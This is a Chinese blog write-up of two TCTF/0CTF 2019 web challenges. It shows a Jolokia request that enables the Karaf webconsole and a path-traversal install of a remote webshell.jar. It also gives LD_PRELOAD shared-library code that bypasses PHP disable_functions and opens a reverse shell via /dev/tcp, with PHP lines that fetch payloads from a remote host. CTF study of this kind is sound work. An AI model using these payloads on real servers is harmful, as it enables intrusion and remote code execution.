TCTF/0CTF-Web 记录

  1. 1. Web1 Ghost Pepper
    1. 1.1. Description
    2. 1.2. Hacking
  2. 2. Web2 Wallbreaker Easy
    1. 2.1. Description
    2. 2.2. The first way to Hack
      1. 2.2.1. open_basedir
      2. 2.2.2. Bypass Open_Basedir
      3. 2.2.3. LD_PRELOAD
      4. 2.2.4. 劫持攻击
      5. 2.2.5. GetFlag
      6. 2.2.6. The other way
      7. 2.2.7. 参考
    3. 2.3. The second way to Hack
  3. 3. Conclusion

上周末抽空佛系打了一下 TCTF/0CTF ,跟马师傅一起做了 web1 ,web 2 没来得及看就关闭了。这里就记录一下。

Web1 Ghost Pepper

Description

​ Do you know ghost pepper? Let’s eat. http://111.186.63.207:31337

Hacking

由于环境关掉了,这里就不放图了。说一下几个解法。

首先通过弱口令 karaf/karaf 进行认证,进入发现是 jetty 的中间件,然后思路一直走偏在这个中间件上,直到有师傅跟我说 ghost pepper 指的是 Jolokia…nb…

然后又参考了几篇腾讯云鼎的相关文章:

Exploiting Jolokia Agent with Java EE Servers

尝试了 JNDI 注入,发现 proxymode 没开,所以得另想法子,在/jolokia/list 我们发现了一些库,最终目标聚集到了 karaf 上。

第一种解法是通过激活 webconsole 这个 karaf 的 feature ,进入 webconsole ,这是一个类似 Tomcat Manager 后台的一个东西,进入之后可以上传 bundle ,并且勾选自动 refresh bundle ,就相当于上传了一个 webshell 一样,直接连就好了,关于 bunlde 的构建留到下面讲吧。还有就是进去 Main/gogo 的选项,就可以拿到 karaf 内置的一个 shell ,具体命令可以参考 Shell console basics,通过shell:cat /flag

激活 webconsole 的 payload 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /jolokia HTTP/1.1
Host: 111.186.63.207:31337
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/json
Content-Length: 146
Authorization: Basic a2FyYWY6a2FyYWY=
Connection: close
Upgrade-Insecure-Requests: 1

{
true"type":"EXEC",
"mbean":"org.apache.karaf:name=root,type=feature",
"operation": "installFeature(java.lang.String)",
"arguments":["webconsole"]
}

还有其他的就是通过好几个/list中的install方法来实现。比如karaf.config或者karaf.bundle的方法都可以,具体方法的实现直接去下一个 karaf 源码来看看就知道了。

1
2
3
4
5
6
{
"type":"EXEC"
"mbean":"org.apache.karaf:name=root,type=config",
"operation":"install",
"arguments":["http://ip:port/webshell.jar","../../../../../opt/opendaylight-0.9.2/deploy/webshell.jar",false]
}

这里karaf.config是个 0day…可以写任意文件

这里利用的难点就是如何构造一个 bundle 文件了…从来都不知道还有这种文件…而且是个.jar文件,而且这个东西的触发点在start函数,非main函数…可以按照马师傅的这个仓库来构建:osgi-bundle-backdoor

Web2 Wallbreaker Easy

Description

http://111.186.63.208:31340

打开地址可以发现有更多的描述

​ Imagick is a awesome library for hackers to break disable_functions.

So I installed php-imagick in the server, opened a backdoor for you.
Let’s try to execute /readflag to get the flag.
Open basedir: /var/www/html:/tmp/7833d7f27adcba46bdfd6c9c31c89904
Hint: eval($_POST[“backdoor”]);

The first way to Hack

一看题目意图也比较明显,需要我们利用Imagick这个模块去进行 rce

我们先直接看看phpinfo(),发现果然是能执行命令的基本都被 disable 掉了

我们还可以调用readfile()来查看题目源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$dir = "/tmp/" . md5("$_SERVER[REMOTE_ADDR]");
mkdir($dir);
ini_set('open_basedir', '/var/www/html:' . $dir);
?>
<!DOCTYPE html><html><head><style>.pre {word-break: break-all;max-width: 500px;white-space: pre-wrap;}</style></head><body>
<pre class="pre"><code>Imagick is a awesome library for hackers to break `disable_functions`.
So I installed php-imagick in the server, opened a `backdoor` for you.
Let's try to execute `/readflag` to get the flag.
Open basedir: <?php echo ini_get('open_basedir');?>

<?php eval($_POST["backdoor"]);?>
Hint: eval($_POST["backdoor"]);
</code></pre></body>
Hint: eval($_POST["backdoor"]);
</code></pre></body>

首先我们来了解一下题目涉及的几个函数

open_basedir

open_basedir 将 php 所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开。

例如就像这样,设置了ini_set('open_basedir','/var/www/html');之后,我们只能在/var/www/html进行操作,即open_basedir是用来限制访问目录的

Bypass Open_Basedir

详细可参考How to bypass disable_functions and open_basedir,文章中就提到可以使用LD_PRELOADputenv()函数进行绕过

LD_PRELOAD

我们首先来看看什么是LD_PRELOAD

LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library.

简单来说,LD_PRELOAD这个环境变量指定路径的文件,会在其他文件被调用前,最先被调用。

putenv ( string $setting ) : bool

添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态。

putenv()可以设置环境换变量,添加我们定义的变量到服务器环境变量。

那么我们大概可以有一个思路,制作一个恶意的.so文件,使用putenv()设置LD_PRELOAD为恶意文件路径,然后使用某个php函数,触发这个.so文件,执行我们的恶意代码。

具体的攻击链可以参考:LD_PRELOAD的偷梁换柱之能

劫持攻击

参考的绕过文章使用了mail()函数,我们可以看看

这里确实开启了子进程,那我们再试试引入putenv()的效果,配合动态链接库尝试劫持,代码来自Chankro

其中__attribute__ ((__constructor__))有如下说明

1
2
3
1.It's run when a shared library is loaded, typically during program startup.
2.That's how all GCC attributes are; presumably to distinguish them from function calls.
3.The destructor is run when the shared library is unloaded, typically at program exit.

所以当我们使用上我们的动态链接库后,就会触发__attribute__ ((__constructor__)),从而达成我们rce的目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#define  _GNU_SOURCE
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <signal.h>
#include <unistd.h>


void pwn(void) {
truesystem("ls");
truesystem("echo hacked");
}

void daemonize(void) {
truesignal(SIGHUP, SIG_IGN);
trueif (fork() != 0) {
truetrueexit(EXIT_SUCCESS);
true}
}

__attribute__ ((__constructor__)) void preloadme(void) {
unsetenv("LD_PRELOAD");
daemonize();
pwn();
}

使用以下命令产生动态链接库

1
gcc hack.c -fPIC -shared -o hack.so

php 文件中代码为

1
2
3
4
<?php
putenv("LD_PRELOAD=./hack.so");
mail('','','','');
?>

可以看到已经执行了ls命令并成功输出了hacked,使用strace看看我们可以发现执行顺序。

当然还有另一种劫持,直接选择一个函数进行劫持,例如我们通过strace php test.php发现调用了geteuid()以及getpid()函数,我们可以在hack.c中这么写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#define  _GNU_SOURCE
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <signal.h>


void pwn(void) {
truesystem("ls");
truesystem("echo hacked!");
}

void getpid(){
unsetenv("LD_PRELOAD");
pwn();
}

这样也可以完成劫持

GetFlag

所以我们需要找到一个可以启动子进程的函数,以实现我们劫持函数做到 RCE 的目的,然后这里我本地调通了但是远程不知道怎么没打通…

这里我直接用new了一个.jpg也可以调用子进程,但是服务器却没有触发…

然后最好还是按照飘零师傅的深入浅出LD_PRELOAD & putenv()wmv进行了 hook ,最后成功 RCE。

这里的原理就是因为Imagick在处理wmv格式的文件会起一个子进程来处理,所以就达到了我们的目的。还有很多格式的文件都可以,可以参考 ctftime 上该题的其他 wp。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#define  _GNU_SOURCE
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <signal.h>
#include <unistd.h>


void pwn(void) {
truesystem("bash -c \"sh >& /dev/tcp/your_ip/port 0>&1\" ");
}

void daemonize(void) {
truesignal(SIGHUP, SIG_IGN);
trueif (fork() != 0) {
truetrueexit(EXIT_SUCCESS);
true}
}

__attribute__ ((__constructor__)) void preloadme(void) {
unsetenv("LD_PRELOAD");
daemonize();
pwn();
}

至于怎么传文件到服务器上,有很多种方法,比如file_put_contents(),也可以用如下的方式

1
2
copy("http://106.14.153.173:8080/hack.wmv", "/tmp/3b1412753f475cc969c37231dd6eaea2/hack.wmv");
copy("http://106.14.153.173:8080/hack.so", "/tmp/3b1412753f475cc969c37231dd6eaea2/hack.so");

The other way

也可以利用error_log这个方法,这个方法也开启了子进程调用了sendmail方法。按照之前的思路进行就可以了

参考

无需sendmail:巧用LD_PRELOAD突破disable_functions

The second way to Hack

这里也主要是用了

1
2
3
<delegate decode="bpg" command="&quot;@[email protected]&quot; -b 16 -o &quot;%o.png&quot; &quot;%i&quot;; @[email protected] &quot;%o.png&quot; &quot;%o&quot;"/>

//"@[email protected]" -b 16 -o "%o.png" "%i"; @[email protected] "%o.png" "%o"

这里参考了其他师傅的 wp ,主要是利用了@BPGDecodeDelegate对于后缀.bpg的解析,它会去 PATH 中寻找相关的bpgenc文件

所以我们只需要设置一个恶意的 PATH ,并在这个文件夹下放入我们的可执行文件。

只要找到函数要执行的文件我们就可以进行操作了。例如下面用了Imagick->readImage()的方法

Conclusion

这次比赛还是玩的比较有收获的,至少给我打发了周末等面试结果的煎熬时光2333…第一题自己想法是通过 karaf.shell 去做,然而并没有找到突破点,还是跟另一个师傅弄了 karaf.config 的 install 方法去做的。菜还是菜,并没有去发掘文档深入的点。第二题在比赛中因为没什么时间了,就没怎么去看了。赛后复现觉得自己对 php 底层了解的很少,打算这段时间可以去往这方面发掘一下。也还有关于第二题解法二的发掘点还存在一定的疑惑,可能就是从 fuzz bpg 格式开始寻找到的突破点吧。还看到了另一个关于题二的解法,等会还可以研究下一下。


Article Author: Zeddy

Article Link: https://blog.zeddyu.info/2019/04/03/TCTF-0CTF-Web-%E8%AE%B0%E5%BD%95/index.html

Copyright Notice: With the exception of the special statement at the beginning of the article, all articles can be reprinted in accordance with the CC BY 4.0 agreement with the author's permission.

2019安恒周周练西湖论剑特别版 35c3 POST复盘记录

Comments